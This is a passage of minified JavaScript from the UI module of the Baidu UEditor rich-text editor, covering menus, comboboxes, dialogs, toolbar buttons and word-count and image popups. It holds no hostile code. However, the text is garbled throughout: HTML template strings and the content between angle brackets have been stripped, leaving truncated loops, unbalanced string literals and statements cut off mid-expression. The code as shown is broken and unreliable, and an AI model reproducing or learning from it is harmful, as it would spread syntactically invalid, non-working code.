        "].join("")},destroy:function(){this.getDom()&&LPa.remove(this.getDom())},dispose:function(){this.destroy()}},KPa.inherits(NPa,MPa),function(){var e=baidu.editor.utils,i=baidu.editor.dom.domUtils,o=baidu.editor.ui.uiUtils,t=baidu.editor.ui.UIBase,n=baidu.editor.ui.Popup,r=baidu.editor.ui.Stateful,a=baidu.editor.ui.CellAlignPicker,s=baidu.editor.ui.Menu=function(e){this.initOptions(e),this.initMenu()},l={renderHtml:function(){return'
        '},postRender:function(){},queryAutoHide:function(){return!0}};s.prototype={items:null,uiName:"menu",initMenu:function(){this.items=this.items||[],this.initPopup(),this.initItems()},initItems:function(){for(var e=0;e'+e.join("")+"
        "},_Popup_postRender:n.prototype.postRender,postRender:function(){for(var n=this,e=0;e
        '+this.renderLabelHtml()+"
        "},postRender:function(){var n=this;this.addListener("over",function(){n.ownerMenu.fireEvent("submenuover",n),n.subMenu&&n.delayShowSubMenu()}),this.subMenu&&(this.getDom().className+=" edui-hassubmenu",this.subMenu.render(),this.addListener("out",function(){n.delayHideSubMenu()}),this.subMenu.addListener("over",function(){clearTimeout(n._closingTimer),n._closingTimer=null,n.addState("opened")}),this.ownerMenu.addListener("hide",function(){n.hideSubMenu()}),this.ownerMenu.addListener("submenuover",function(e,t){t!==n&&n.delayHideSubMenu()}),this.subMenu._bakQueryAutoHide=this.subMenu.queryAutoHide,this.subMenu.queryAutoHide=function(e){return(!e||!o.contains(n.getDom(),e))&&this._bakQueryAutoHide(e)}),this.getDom().style.tabIndex="-1",o.makeUnselectable(this.getDom()),this.Stateful_postRender()},delayShowSubMenu:function(){var e=this;e.isDisabled()||(e.addState("opened"),clearTimeout(e._showingTimer),clearTimeout(e._closingTimer),e._closingTimer=null,e._showingTimer=setTimeout(function(){e.showSubMenu()},250))},delayHideSubMenu:function(){var e=this;e.isDisabled()||(e.removeState("opened"),clearTimeout(e._showingTimer),e._closingTimer||(e._closingTimer=setTimeout(function(){e.hasState("opened")||e.hideSubMenu(),e._closingTimer=null},400)))},renderLabelHtml:function(){return'
        '+(this.label||"")+"
        "},getStateDom:function(){return this.getDom()},queryAutoHide:function(e){if(this.subMenu&&this.hasState("opened"))return this.subMenu.queryAutoHide(e)},_onClick:function(e,t){this.hasState("disabled")||!1!==this.fireEvent("click",e,t)&&(this.subMenu?this.showSubMenu():n.postHide(e))},showSubMenu:function(){var e=o.getClientRect(this.getDom());e.right-=5,e.left+=2,e.width-=7,e.top-=4,e.bottom+=4,e.height+=8,this.subMenu.showAnchorRect(e,!0,!0)},hideSubMenu:function(){this.subMenu.hide()}},e.inherits(d,t),e.extend(d.prototype,r,!0)}(),AQa=baidu.editor.utils,BQa=baidu.editor.ui.uiUtils,CQa=baidu.editor.ui.Menu,DQa=baidu.editor.ui.SplitButton,EQa=baidu.editor.ui.Combox=function(e){this.initOptions(e),this.initCombox()},EQa.prototype={uiName:"combox",onbuttonclick:function(){this.showPopup()},initCombox:function(){var e=this;this.items=this.items||[];for(var t=0;tn.right&&(o=n.right-i.width);e=e.top;e+i.height>n.bottom&&(e=n.bottom-i.height),t.style.left=Math.max(o,0)+"px",t.style.top=Math.max(e,0)+"px"},showAtCenter:function(){var e,t,n,i,o=XQa.getViewportRect();this.fullscreen?(t=this.getDom(),e=this.getDom("content"),t.style.display="block",n=UE.ui.uiUtils.getClientRect(t),i=UE.ui.uiUtils.getClientRect(e),t.style.left="-100000px",e.style.width=o.width-n.width+i.width+"px",e.style.height=o.height-n.height+i.height+"px",t.style.width=o.width+"px",t.style.height=o.height+"px",t.style.left=0,this._originalContext={html:{overflowX:document.documentElement.style.overflowX,overflowY:document.documentElement.style.overflowY},body:{overflowX:document.body.style.overflowX,overflowY:document.body.style.overflowY}},document.documentElement.style.overflowX="hidden",document.documentElement.style.overflowY="hidden",document.body.style.overflowX="hidden",document.body.style.overflowY="hidden"):(this.getDom().style.display="",n=this.fitSize(),i=0|this.getDom("titlebar").offsetHeight,t=o.width/2-n.width/2,n=o.height/2-(n.height-i)/2-i,i=this.getDom(),this.safeSetOffset({left:Math.max(0|t,0),top:Math.max(0|n,0)}),WQa.hasClass(i,"edui-state-centered")||(i.className+=" edui-state-centered")),this._show()},getContentHtml:function(){var e="";return"string"==typeof this.content?e=this.content:this.iframeUrl&&(e=''),e},getHtmlTpl:function(){var e="";if(this.buttons){for(var t=[],n=0;n
        '+t.join("")+"
        "}return'
        '+(this.title||"")+"
        "+this.closeButton.renderHtml()+'
        '+(this.autoReset?"":this.getContentHtml())+"
        "+e+"
        "},postRender:function(){this.modalMask.getDom()||(this.modalMask.render(),this.modalMask.hide()),this.dragMask.getDom()||(this.dragMask.render(),this.dragMask.hide());var e=this;if(this.addListener("show",function(){e.modalMask.show(this.getDom().style.zIndex-2)}),this.addListener("hide",function(){e.modalMask.hide()}),this.buttons)for(var t=0;t',e.editor.container.style.zIndex&&(this.getDom().style.zIndex=+e.editor.container.style.zIndex+1))}}),this.onbuttonclick=function(){this.showPopup()},this.initSplitButton()}},uSa.inherits(xSa,wSa),ASa=baidu.editor.ui,BSa=ASa.UIBase,CSa=ASa.uiUtils,DSa=baidu.editor.utils,ESa=baidu.editor.dom.domUtils,FSa=[],GSa=!1,HSa=ASa.ShortCutMenu=function(e){this.initOptions(e),this.initShortCutMenu()},HSa.postHide=ISa,HSa.prototype={isHidden:!0,SPACE:5,initShortCutMenu:function(){this.items=this.items||[],this.initUIBase(),this.initItems(),this.initEvent(),FSa.push(this)},initEvent:function(){var e=this;e.editor.document,e.editor.addListener("afterhidepop",function(){e.isHidden||(GSa=!0)})},initItems:function(){if(DSa.isArray(this.items))for(var e=0,t=this.items.length;e'+e+"
        "}},DSa.inherits(HSa,BSa),ESa.on(document,"mousedown",function(e){ISa(e)}),ESa.on(window,"scroll",function(e){ISa(e)}),pTa=baidu.editor.utils,qTa=baidu.editor.ui.UIBase,rTa=baidu.editor.ui.Breakline=function(e){this.initOptions(e),this.initSeparator()},rTa.prototype={uiName:"Breakline",initSeparator:function(){this.initUIBase()},getHtmlTpl:function(){return"
        "}},pTa.inherits(rTa,qTa),tTa=baidu.editor.utils,uTa=baidu.editor.dom.domUtils,vTa=baidu.editor.ui.UIBase,wTa=baidu.editor.ui.Message=function(e){this.initOptions(e),this.initMessage()},wTa.prototype={initMessage:function(){this.initUIBase()},getHtmlTpl:function(){return'
        ×
        '},reset:function(e){var t=this;e.keepshow||(clearTimeout(this.timer),t.timer=setTimeout(function(){t.hide()},e.timeout||4e3)),void 0!==e.content&&t.setContent(e.content),void 0!==e.type&&t.setType(e.type),t.show()},postRender:function(){var e=this,t=this.getDom("closer");t&&uTa.on(t,"click",function(){e.hide()})},setContent:function(e){this.getDom("content").innerHTML=e},setType:function(e){e=e||"info";var t=this.getDom("body");t.className=t.className.replace(/edui-message-type-[\w-]+/,"edui-message-type-"+e)},getContent:function(){return this.getDom("content").innerHTML},getType:function(){var e=this.getDom("body").match(/edui-message-type-([\w-]+)/);return e?e[1]:""},show:function(){this.getDom().style.display="block"},hide:function(){var e=this.getDom();e&&(e.style.display="none",e.parentNode&&e.parentNode.removeChild(e))}},tTa.inherits(wTa,vTa),function(){var l=baidu.editor.utils,d=baidu.editor.ui,t=d.Dialog;d.buttons={},d.Dialog=function(e){var i=new t(e);return i.addListener("hide",function(){if(i.editor){var e,t,n=i.editor;try{browser.gecko?(e=n.window.scrollY,t=n.window.scrollX,n.body.focus(),n.window.scrollTo(t,e)):n.focus()}catch(n){}}}),i};for(var e,n=["undo","redo","formatmatch","bold","italic","underline","fontborder","touppercase","tolowercase","strikethrough","subscript","superscript","source","indent","outdent","blockquote","pasteplain","pagebreak","selectall","print","horizontal","removeformat","time","date","unlink","insertparagraphbeforetable","insertrow","insertcol","mergeright","mergedown","deleterow","deletecol","splittorows","splittocols","splittocells","mergecells","deletetable"],i=0;o=n[i++];)o=o.toLowerCase(),d[o]=function(a){return function(o){var e,r=new d.Button({className:"edui-for-"+a,title:o.options.labelMap[a]||o.getLang("labelMap."+a)||"",onclick:function(){o.execCommand(a)},theme:o.options.theme,showText:!1});switch(a){case"bold":case"italic":case"underline":case"strikethrough":case"fontborder":r.shouldUiShow=(e=a,function(){return!!o.selection.getText()&&o.queryCommandState(e)!==UE.constants.STATEFUL.DISABLED})}return d.buttons[a]=r,o.addListener("selectionchange",function(e,t,n){var i=o.queryCommandState(a);-1===i?(r.setDisabled(!0),r.setChecked(!1)):n||(r.setDisabled(!1),r.setChecked(i))}),r}}(o);d.cleardoc=function(e){var t=new d.Button({className:"edui-for-cleardoc",title:e.options.labelMap.cleardoc||e.getLang("labelMap.cleardoc")||"",theme:e.options.theme,onclick:function(){confirm(e.getLang("confirmClear"))&&e.execCommand("cleardoc")}});return d.buttons.cleardoc=t,e.addListener("selectionchange",function(){t.setDisabled(-1==e.queryCommandState("cleardoc"))}),t};for(e of["none","left","center","right"])!function(r){d["image"+r]=function(i){var o=new d.Button({className:"edui-for-image"+r,title:i.options.labelMap["image"+r]||i.getLang("labelMap.image"+r)||"",theme:i.options.theme,onclick:function(){i.execCommand("imagefloat",r)},shouldUiShow:function(){var e=i.selection.getRange().getClosedNode();return!(!e||"IMG"!==e.tagName||domUtils.hasClass(e,"uep-loading")||domUtils.hasClass(e,"uep-loading-error")||i.queryCommandState("imagefloat")===UE.constants.STATEFUL.DISABLED)}});return d.buttons["image"+r]=o,i.addListener("selectionchange",function(e,t,n){o.setDisabled(i.queryCommandState("imagefloat")===UE.constants.STATEFUL.DISABLED),o.setChecked(i.queryCommandValue("imagefloat")===r&&!n)}),o}}(e);var o,r={justify:["left","right","center","justify"],directionality:["ltr","rtl"]};for(a in r)!function(a,e){for(var t,n=0;t=e[n++];)!function(r){d[a.replace("float","")+r]=function(i){var o=new d.Button({className:"edui-for-"+a.replace("float","")+r,title:i.options.labelMap[a.replace("float","")+r]||i.getLang("labelMap."+a.replace("float","")+r)||"",theme:i.options.theme,onclick:function(){i.execCommand(a,r)}});return d.buttons[a]=o,i.addListener("selectionchange",function(e,t,n){o.setDisabled(-1==i.queryCommandState(a)),o.setChecked(i.queryCommandValue(a)==r&&!n)}),o}}(t)}(a,r[a]);for(i=0;o=["backcolor","forecolor"][i++];)d[o]=function(i){return function(n){var e=new d.ColorButton({className:"edui-for-"+i,color:"default",title:n.options.labelMap[i]||n.getLang("labelMap."+i)||"",editor:n,onpickcolor:function(e,t){n.execCommand(i,t)},onpicknocolor:function(){n.execCommand(i,"default"),this.setColor("transparent"),this.color="default"},onbuttonclick:function(){n.execCommand(i,this.color)},shouldUiShow:function(){return!!n.selection.getText()&&n.queryCommandState(i)!==UE.constants.STATEFUL.DISABLED}});return d.buttons[i]=e,n.addListener("selectionchange",function(){e.setDisabled(-1==n.queryCommandState(i))}),e}}(o);var a,c={anchor:"~/dialogs/anchor/anchor.html?1ab8be2f",insertimage:"~/dialogs/image/image.html?c97f781f",link:"~/dialogs/link/link.html?1bb3b607",spechars:"~/dialogs/spechars/spechars.html?3bbeb696",searchreplace:"~/dialogs/searchreplace/searchreplace.html?d6b90a32",insertvideo:"~/dialogs/video/video.html?adfea564",insertaudio:"~/dialogs/audio/audio.html?352b3a11",help:"~/dialogs/help/help.html?05c0c8bf",preview:"~/dialogs/preview/preview.html?5d9a0847",emotion:"~/dialogs/emotion/emotion.html?a7bc0989",wordimage:"~/dialogs/wordimage/wordimage.html?3b01ac24",formula:"~/dialogs/formula/formula.html?5b421783",attachment:"~/dialogs/attachment/attachment.html?7462f395",insertframe:"~/dialogs/insertframe/insertframe.html?18853123",edittip:"~/dialogs/table/edittip.html?fa0ea189",edittable:"~/dialogs/table/edittable.html?134e2f06",edittd:"~/dialogs/table/edittd.html?9fe1a06e",scrawl:"~/dialogs/scrawl/scrawl.html?c8323e43",template:"~/dialogs/template/template.html?3c8090b7",background:"~/dialogs/background/background.html?c2bb8b05",contentimport:"~/dialogs/contentimport/contentimport.html?847a33a6",ai:"~/dialogs/ai/ai.html?9f07c8c2"},s={noOk:["searchreplace","help","spechars","preview"],ok:["attachment","anchor","link","insertimage","insertframe","wordimage","insertvideo","insertaudio","edittip","edittable","edittd","scrawl","template","formula","background","contentimport"]};for(a in s)!function(s,e){for(var t,n=0;t=e[n++];)browser.opera&&"searchreplace"===t||function(a){d[a]=function(t,e,n){var i;e=e||(t.options.dialogIframeUrlMap||{})[a]||c[a],n=t.options.labelMap[a]||t.getLang("labelMap."+a)||"",e&&(i=new d.Dialog(l.extend({iframeUrl:t.ui.mapUrl(e),editor:t,className:"edui-for-"+a,title:n,holdScroll:"insertimage"===a,fullscreen:/preview/.test(a),closeDialog:t.getLang("closeDialog")},"ok"===s?{buttons:[{className:"edui-okbutton",label:t.getLang("ok"),editor:t,onclick:function(){i.close(!0)}},{className:"edui-cancelbutton",label:t.getLang("cancel"),editor:t,onclick:function(){i.close(!1)}}]}:{})),t.ui._dialogs[a+"Dialog"]=i);var o,r=new d.Button({className:"edui-for-"+a,title:n,onclick:function(){if((!t.options.toolbarCallback||!0!==t.options.toolbarCallback(a,t))&&i)switch(a){case"wordimage":var e=t.execCommand("wordimage");e&&e.length&&(i.render(),i.open());break;case"scrawl":-1!==t.queryCommandState("scrawl")&&(i.render(),i.open());break;default:i.render(),i.open()}},theme:t.options.theme,disabled:"scrawl"===a&&-1===t.queryCommandState("scrawl")});switch(a){case"insertimage":case"formula":r.shouldUiShow=(o=a,function(){let e=t.selection.getRange().getClosedNode();return!(!e||"IMG"!==e.tagName)&&("formula"===o&&null!==e.getAttribute("data-formula-image")||"insertimage"===o)})}return d.buttons[a]=r,t.addListener("selectionchange",function(){var e;a in{edittable:1}||(e=t.queryCommandState(a),r.getDom()&&(r.setDisabled(-1===e),r.setChecked(e)))}),r}}(t.toLowerCase())}(a,s[a]);d.insertcode=function(i,e,o){e=i.options.insertcode||[],o=i.options.labelMap.insertcode||i.getLang("labelMap.insertcode")||"";var n=[];l.each(e,function(e,t){n.push({label:e,value:t,theme:i.options.theme,renderLabelHtml:function(){return'
        '+(this.label||"")+"
        "}})});var r=new d.Combox({editor:i,items:n,onselect:function(e,t){i.execCommand("insertcode",this.items[t].value)},onbuttonclick:function(){this.showPopup()},title:o,initValue:o,className:"edui-for-insertcode",indexByValue:function(e){if(e)for(var t,n=0;t=this.items[n];n++)if(-1!=t.value.indexOf(e))return n;return-1}});return d.buttons.insertcode=r,i.addListener("selectionchange",function(e,t,n){n||(-1==i.queryCommandState("insertcode")?r.setDisabled(!0):(r.setDisabled(!1),(n=i.queryCommandValue("insertcode"))?(n=n&&n.replace(/['"]/g,"").split(",")[0],r.setValue(n)):r.setValue(o)))}),r},d.fontfamily=function(i,e,t){if(e=i.options.fontfamily||[],t=i.options.labelMap.fontfamily||i.getLang("labelMap.fontfamily")||"",e.length){for(var n=0,o=[];a=e[n];n++){var r=i.getLang("fontfamily")[a.name]||"",r=a.label||r,a=a.val;o.push({label:r,value:a,theme:i.options.theme,renderLabelHtml:function(){return'
        '+(this.label||"")+"
        "}})}var a,s=new d.Combox({editor:i,items:o,onselect:function(e,t){i.execCommand("FontFamily",this.items[t].value)},onbuttonclick:function(){this.showPopup()},title:t,initValue:t,className:"edui-for-fontfamily",indexByValue:function(e){if(e)for(var t,n=0;t=this.items[n];n++)if(-1!=t.value.indexOf(e))return n;return-1}});return d.buttons.fontfamily=s,i.addListener("selectionchange",function(e,t,n){n||(-1==i.queryCommandState("FontFamily")?s.setDisabled(!0):(s.setDisabled(!1),n=(n=i.queryCommandValue("FontFamily"))&&n.replace(/['"]/g,"").split(",")[0],s.setValue(n)))}),s}},d.fontsize=function(i,e,t){if(t=i.options.labelMap.fontsize||i.getLang("labelMap.fontsize")||"",(e=e||i.options.fontsize||[]).length){for(var n=[],o=0;o'+(this.label||"")+"
        "}})}var a=new d.Combox({editor:i,items:n,title:t,initValue:t,onselect:function(e,t){i.execCommand("FontSize",this.items[t].value)},onbuttonclick:function(){this.showPopup()},className:"edui-for-fontsize"});return d.buttons.fontsize=a,i.addListener("selectionchange",function(e,t,n){n||(-1==i.queryCommandState("FontSize")?a.setDisabled(!0):(a.setDisabled(!1),a.setValue(i.queryCommandValue("FontSize"))))}),a}},d.paragraph=function(i,e,t){if(t=i.options.labelMap.paragraph||i.getLang("labelMap.paragraph")||"",e=i.options.paragraph||[],!l.isEmptyObject(e)){var n,o=[];for(n in e)o.push({value:n,label:e[n]||i.getLang("paragraph")[n],theme:i.options.theme,renderLabelHtml:function(){return'
        '+(this.label||"")+"
        "}});var r=new d.Combox({editor:i,items:o,title:t,initValue:t,className:"edui-for-paragraph",onselect:function(e,t){i.execCommand("Paragraph",this.items[t].value)},onbuttonclick:function(){this.showPopup()}});return d.buttons.paragraph=r,i.addListener("selectionchange",function(e,t,n){n||(-1==i.queryCommandState("Paragraph")?r.setDisabled(!0):(r.setDisabled(!1),n=i.queryCommandValue("Paragraph"),-1!=r.indexByValue(n)?r.setValue(n):r.setValue(r.initValue)))}),r}},d.customstyle=function(i){var e=i.options.customstyle||[],t=i.options.labelMap.customstyle||i.getLang("labelMap.customstyle")||"";if(e.length){for(var n,o=i.getLang("customstyle"),r=0,a=[];n=e[r++];)!function(e){var t={};t.label=e.label||o[e.name],t.style=e.style,t.className=e.className,t.tag=e.tag,a.push({label:t.label,value:t,theme:i.options.theme,renderLabelHtml:function(){return'
        <'+t.tag+" "+(t.className?' class="'+t.className+'"':"")+(t.style?' style="'+t.style+'"':"")+">"+t.label+"
        "}})}(n);var s=new d.Combox({editor:i,items:a,title:t,initValue:t,className:"edui-for-customstyle",onselect:function(e,t){i.execCommand("customstyle",this.items[t].value)},onbuttonclick:function(){this.showPopup()},indexByValue:function(e){for(var t,n=0;t=this.items[n++];)if(t.label==e)return n-1;return-1}});return d.buttons.customstyle=s,i.addListener("selectionchange",function(e,t,n){n||(-1==i.queryCommandState("customstyle")?s.setDisabled(!0):(s.setDisabled(!1),n=i.queryCommandValue("customstyle"),-1!=s.indexByValue(n)?s.setValue(n):s.setValue(s.initValue)))}),s}},d.inserttable=function(i,e,t){t=i.options.labelMap.inserttable||i.getLang("labelMap.inserttable")||"";var n=new d.TableButton({editor:i,title:t,className:"edui-for-inserttable",onpicktable:function(e,t,n){i.execCommand("InsertTable",{numRows:n,numCols:t,border:1})},onbuttonclick:function(){this.showPopup()}});return d.buttons.inserttable=n,i.addListener("selectionchange",function(){n.setDisabled(-1==i.queryCommandState("inserttable"))}),n},d.lineheight=function(n){var e=n.options.lineheight||[];if(e.length){for(var t,i=0,o=[];t=e[i++];)o.push({label:t,value:t,theme:n.options.theme,onclick:function(){n.execCommand("lineheight",this.value)}});var r=new d.MenuButton({editor:n,className:"edui-for-lineheight",title:n.options.labelMap.lineheight||n.getLang("labelMap.lineheight")||"",items:o,onbuttonclick:function(){var e=n.queryCommandValue("LineHeight")||this.value;n.execCommand("LineHeight",e)}});return d.buttons.lineheight=r,n.addListener("selectionchange",function(){var e,t=n.queryCommandState("LineHeight");-1==t?r.setDisabled(!0):(r.setDisabled(!1),(e=n.queryCommandValue("LineHeight"))&&r.setValue((e+"").replace(/cm/,"")),r.setChecked(t))}),r}};for(var u,m=["top","bottom"],f=0;u=m[f++];)!function(a){d["rowspacing"+a]=function(n){var e=n.options["rowspacing"+a]||[];if(!e.length)return null;for(var t,i=0,o=[];t=e[i++];)o.push({label:t,value:t,theme:n.options.theme,onclick:function(){n.execCommand("rowspacing",this.value,a)}});var r=new d.MenuButton({editor:n,className:"edui-for-rowspacing"+a,title:n.options.labelMap["rowspacing"+a]||n.getLang("labelMap.rowspacing"+a)||"",items:o,onbuttonclick:function(){var e=n.queryCommandValue("rowspacing",a)||this.value;n.execCommand("rowspacing",e,a)}});return d.buttons[a]=r,n.addListener("selectionchange",function(){var e,t=n.queryCommandState("rowspacing",a);-1==t?r.setDisabled(!0):(r.setDisabled(!1),(e=n.queryCommandValue("rowspacing",a))&&r.setValue((e+"").replace(/%/,"")),r.setChecked(t))}),r}}(u);for(var h,p=["insertorderedlist","insertunorderedlist"],g=0;h=p[g++];)!function(a){d[a]=function(n){function e(){n.execCommand(a,this.value)}var t,i=n.options[a],o=[];for(t in i)o.push({label:i[t]||n.getLang()[a][t]||"",value:t,theme:n.options.theme,onclick:e});var r=new d.MenuButton({editor:n,className:"edui-for-"+a,title:n.getLang("labelMap."+a)||"",items:o,onbuttonclick:function(){var e=n.queryCommandValue(a)||this.value;n.execCommand(a,e)}});return d.buttons[a]=r,n.addListener("selectionchange",function(){var e,t=n.queryCommandState(a);-1==t?r.setDisabled(!0):(r.setDisabled(!1),e=n.queryCommandValue(a),r.setValue(e),r.setChecked(t))}),r}}(h);d.fullscreen=function(t,e){e=t.options.labelMap.fullscreen||t.getLang("labelMap.fullscreen")||"";var n=new d.Button({className:"edui-for-fullscreen",title:e,theme:t.options.theme,onclick:function(){t.ui&&t.ui.setFullScreen(!t.ui.isFullScreen()),this.setChecked(t.ui.isFullScreen())}});return d.buttons.fullscreen=n,t.addListener("selectionchange",function(){var e=t.queryCommandState("fullscreen");n.setDisabled(-1==e),n.setChecked(t.ui.isFullScreen())}),n},d.emotion=function(e,t){var n="emotion",i=new d.MultiMenuPop({title:e.options.labelMap[n]||e.getLang("labelMap."+n)||"",editor:e,className:"edui-for-"+n,iframeUrl:e.ui.mapUrl(t||(e.options.dialogIframeUrlMap||{})[n]||c[n])});return d.buttons[n]=i,e.addListener("selectionchange",function(){i.setDisabled(-1==e.queryCommandState(n))}),i},d.autotypeset=function(e){var t=new d.AutoTypeSetButton({editor:e,title:e.options.labelMap.autotypeset||e.getLang("labelMap.autotypeset")||"",className:"edui-for-autotypeset",onbuttonclick:function(){e.execCommand("autotypeset")}});return d.buttons.autotypeset=t,e.addListener("selectionchange",function(){t.setDisabled(-1==e.queryCommandState("autotypeset"))}),t},d.ai=function(e,t,n){t=t||(e.options.dialogIframeUrlMap||{}).ai||c.ai,n=e.options.labelMap.ai||e.getLang("labelMap.ai")||"";var i=new d.Dialog({iframeUrl:e.ui.mapUrl(t),editor:e,className:"edui-for-ai",title:n,holdScroll:!0,fullscreen:!1,closeDialog:e.getLang("closeDialog")});e.ui._dialogs.aiDialog=i;n=new d.Button({className:"edui-for-ai",title:n,onclick:function(){e.options.toolbarCallback&&!0===e.options.toolbarCallback("ai",e)||(i.render(),i.open())},theme:e.options.theme,disabled:!1});return d.buttons.ai=n},d.simpleupload=function(o){var r="simpleupload",a=new d.Button({className:"edui-for-"+r,title:o.options.labelMap[r]||o.getLang("labelMap."+r)||"",onclick:function(){},theme:o.options.theme,showText:!1});return d.buttons[r]=a,o.addListener("ready",function(){var e=a.getDom("body").children[0];o.fireEvent("simpleuploadbtnready",e)}),o.addListener("selectionchange",function(e,t,n){var i=o.queryCommandState(r);-1==i?(a.setDisabled(!0),a.setChecked(!1)):n||(a.setDisabled(!1),a.setChecked(i))}),a}}(),function(){var f=baidu.editor.utils,t=baidu.editor.ui.uiUtils,r=baidu.editor.ui.UIBase,C=baidu.editor.dom.domUtils,a=[];function d(e){this.initOptions(e),this.initEditorUI()}d.prototype={uiName:"editor",initEditorUI:function(){(this.editor.ui=this)._dialogs={},this.initUIBase(),this._initToolbars();var s=this.editor,t=this;s.addListener("ready",function(){s.getDialog=function(e){return s.ui._dialogs[e+"Dialog"]},C.on(s.window,"scroll",function(e){baidu.editor.ui.Popup.postHide(e)}),s.ui._actualFrameWidth=s.options.initialFrameWidth,UE.browser.ie&&6===UE.browser.version&&s.container.ownerDocument.execCommand("BackgroundImageCache",!1,!0),s.options.elementPathEnabled&&(s.ui.getDom("elementpath").innerHTML='
        '+s.getLang("elementPathTip")+":
        "),s.options.wordCount&&(C.on(s.document,"click",function(){o(s,t),C.un(s.document,"click",arguments.callee)}),s.ui.getDom("wordcount").innerHTML=s.getLang("wordCountTip")),s.ui._scale(),s.options.scaleEnabled?(s.autoHeightEnabled&&s.disableAutoHeight(),t.enableScale()):t.disableScale(),s.options.elementPathEnabled||s.options.wordCount||s.options.scaleEnabled||(s.ui.getDom("elementpath").style.display="none",s.ui.getDom("wordcount").style.display="none",s.ui.getDom("scale").style.display="none"),s.selection.isFocus()&&s.fireEvent("selectionchange",!1,!0)}),s.addListener("mousedown",function(e,t){var n=t.target||t.srcElement;baidu.editor.ui.Popup.postHide(t,n),baidu.editor.ui.ShortCutMenu.postHide(t)}),s.addListener("delcells",function(){UE.ui.edittip&&new UE.ui.edittip(s),s.getDialog("edittip").open()});var i,e,n=!1;function o(e,t){e.setOpt({wordCount:!0,maximumWords:1e4,wordCountMsg:e.options.wordCountMsg||e.getLang("wordCountMsg"),wordOverFlowMsg:e.options.wordOverFlowMsg||e.getLang("wordOverFlowMsg")});var n=e.options,i=n.maximumWords,o=n.wordCountMsg,r=n.wordOverFlowMsg,t=t.getDom("wordcount");n.wordCount&&(i<(n=e.getContentLength(!0))?(t.innerHTML=r,e.fireEvent("wordcountoverflow")):t.innerHTML=o.replace("{#leave}",i-n).replace("{#count}",n))}s.addListener("afterpaste",function(){s.queryCommandState("pasteplain")||(baidu.editor.ui.PastePicker&&(i=new baidu.editor.ui.Popup({content:new baidu.editor.ui.PastePicker({editor:s}),editor:s,className:"edui-wordpastepop"})).render(),n=!0)}),s.addListener("afterinserthtml",function(){clearTimeout(e),e=setTimeout(function(){var e,t;i&&(n||s.ui._isTransfer)&&(i.isHidden()?(e=C.createElement(s.document,"span",{style:"line-height:0px;",innerHTML:"\ufeff"}),s.selection.getRange().insertNode(e),(t=getDomNode(e,"firstChild","previousSibling"))&&i.showAnchor(3==t.nodeType?t.parentNode:t),C.remove(e)):i.show(),delete s.ui._isTransfer,n=!1)},200)}),s.addListener("contextmenu",function(e,t){baidu.editor.ui.Popup.postHide(t)}),s.addListener("keydown",function(e,t){i&&i.dispose(t);var n=t.keyCode||t.which;t.altKey&&90==n&&UE.ui.buttons.fullscreen.onclick()}),s.addListener("wordcount",function(e){o(this,t)}),s.addListener("selectionchange",function(){s.options.elementPathEnabled&&t[(-1==s.queryCommandState("elementpath")?"dis":"en")+"ableElementPath"](),s.options.scaleEnabled&&t[(-1==s.queryCommandState("scale")?"dis":"en")+"ableScale"]()});var l=new baidu.editor.ui.Popup({editor:s,content:"",className:"edui-bubble",_onEditButtonClick:function(){this.hide(),s.ui._dialogs.linkDialog.open()},_onImgEditButtonClick:function(e){this.hide(),s.ui._dialogs[e]&&s.ui._dialogs[e].open()},_onImgSetFloat:function(e){this.hide(),s.execCommand("imagefloat",e)},_setIframeAlign:function(e){var t=l.anchorEl,n=t.cloneNode(!0);switch(e){case-2:n.setAttribute("align","");break;case-1:n.setAttribute("align","left");break;case 1:n.setAttribute("align","right")}t.parentNode.insertBefore(n,t),C.remove(t),l.anchorEl=n,l.showAnchor(l.anchorEl)},_updateIframe:function(){var e=s._iframe=l.anchorEl;C.hasClass(e,"ueditor_baidumap")?(s.selection.getRange().selectNode(e).select(),s.ui._dialogs.mapDialog.open()):s.ui._dialogs.insertframeDialog.open(),l.hide()},_onRemoveButtonClick:function(e){s.execCommand(e),this.hide()},queryAutoHide:function(e){return e&&e.ownerDocument==s.document&&("img"==e.tagName.toLowerCase()||C.findParentByTagName(e,"a",!0))?e!==l.anchorEl:baidu.editor.ui.Popup.prototype.queryAutoHide.call(this,e)}});l.render(),s.options.imagePopup&&(s.addListener("mouseover",function(e,t){var n=(t=t||window.event).target||t.srcElement;s.ui._dialogs.insertframeDialog&&/iframe/gi.test(n.tagName)&&((t=l.formatHtml(''+s.getLang("default")+'  '+s.getLang("justifyleft")+'  '+s.getLang("justifyright")+'   '+s.getLang("modify")+""))?(l.getDom("content").innerHTML=t,l.anchorEl=n,l.showAnchor(l.anchorEl)):l.hide())}),s.addListener("selectionchange",function(e,t){if(t){var n,i,o="",r=s.selection.getRange().getClosedNode(),t=s.ui._dialogs;if(r&&"IMG"===r.tagName){var a="insertimageDialog";if(-1===r.className.indexOf("edui-faked-video")&&-1===r.className.indexOf("edui-upload-video")||(a="insertvideoDialog"),-1===r.className.indexOf("edui-faked-audio")&&-1===r.className.indexOf("edui-upload-audio")||(a="insertaudioDialog"),r.getAttribute("anchorname")&&(a="anchorDialog",o=l.formatHtml(''+s.getLang("modify")+"  "+s.getLang("delete")+"")),!t[a=C.hasClass(r,"uep-loading")||C.hasClass(r,"uep-loading-error")?"":a])return;var a=[];r.getAttribute("data-word-image")&&a.push(""+s.getLang("save")+""),0"),a.push("")),o=o||l.formatHtml(a.join(""))}!s.ui._dialogs.linkDialog||(i=s.queryCommandValue("link"))&&(n=i.getAttribute("_href")||i.getAttribute("href",2))&&(30<(a=n).length&&(a=n.substring(0,20)+"..."),o&&(o+='
        '),o+=l.formatHtml(""+s.getLang("anchorMsg")+': '+a+' '+s.getLang("modify")+' '+s.getLang("clear")+""),l.showAnchor(i)),o?(l.getDom("content").innerHTML=o,l.anchorEl=r||i,l.showAnchor(l.anchorEl)):l.hide()}}))},_initToolbars:function(){var e=this,t=this.editor,n=this.toolbars||[];n[0]&&n[0].unshift("message");for(var i=[],o=[],r=0;r{this.refreshToolbars()},0)},refreshToolbars:function(){for(var e=this.editor.options.toolbarShows,t=0;t
        '+(this.toolbars.length?'
        '+this.renderToolbarBoxHtml()+"
        ":"")+'
        '},showWordImageDialog:function(){this._dialogs.wordimageDialog.open()},renderToolbarBoxHtml:function(){for(var e=[],t=0;t'+n+"");t.innerHTML='
        '+this.editor.getLang("elementPathTip")+": "+i.join(" > ")+"
